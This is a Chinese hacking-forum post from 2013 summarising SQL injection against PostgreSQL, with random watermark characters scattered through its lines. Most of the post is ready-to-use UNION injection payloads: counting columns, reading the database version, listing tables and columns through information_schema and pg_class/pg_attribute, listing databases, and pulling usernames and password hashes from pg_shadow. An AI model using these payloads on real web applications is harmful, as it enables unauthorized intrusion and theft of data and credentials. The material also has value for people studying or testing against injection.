找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2226|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
% ?1 y' d7 O( r* a0 ^1 ]

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
, P4 |: |( d0 M6 j1 R连接符: %20 , + , /**/

内置函数:" ~0 r: K# ~( q: m# P$ |
current_database() //当前数据库名0 f9 \0 T6 `: ~, n+ l5 ~4 j
session_user //会话用户$ a  e8 x- l, P3 P
current_user //当前数据库用户! z7 [, u1 M6 O+ E# R5 l1 k
user //当前用户  Q8 J7 m8 G& \1 ]- G
version() //数据库版本

Union注射:
8 ^* Y" ~% O- {: u- ^( K- qorder by n–
& S+ F/ W% e% a/ N3 L1 cand 1=2 union select null,null,null–
' X! X$ K1 H% N+ ]7 @7 D0 i) Band 1=2 union select ‘beach’,null,null–
' A, K8 y) T$ N$ v  P* Z$ dand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
7 J5 [. W8 J! `7 m% l1 U7 S" Qgroup_concat(table_name)$ n: v4 k5 P+ N- k# U( X+ [0 P" B; W
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–8 M  y0 P) J9 [
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
8 }* k1 ~$ Z& o* e(老版本): A# X* s  w6 v0 O0 Q) K
pg_class.oid对应pg_attribute.attrelid/ L) c" {/ q8 B( y. L
pg_class.relname表名
4 v( }" f2 T- V8 o& A0 T) Zpg_attribute.attname字段名

select relname from pg_class获取表名
. Q+ ~. T5 W5 K( l' L5 k4 I: Jselect oid from pg_class where 条件 获取参数
2 V6 k# c- P0 j9 Q0 q/ @- M, I0 uselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
4 J* X8 G: E# a8 [1 ]and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
$ @! ^& N4 t& V  ?) {7 T/ Q) ^( u$ qand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
- a) Z  ~$ x0 T; T$ m由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
/ V3 p3 o4 J9 E0 R======================================================================
4 r3 E" ?$ ~: a$ k3 s4 Qand 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库7 h0 h8 A6 b% |4 w& t* B
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表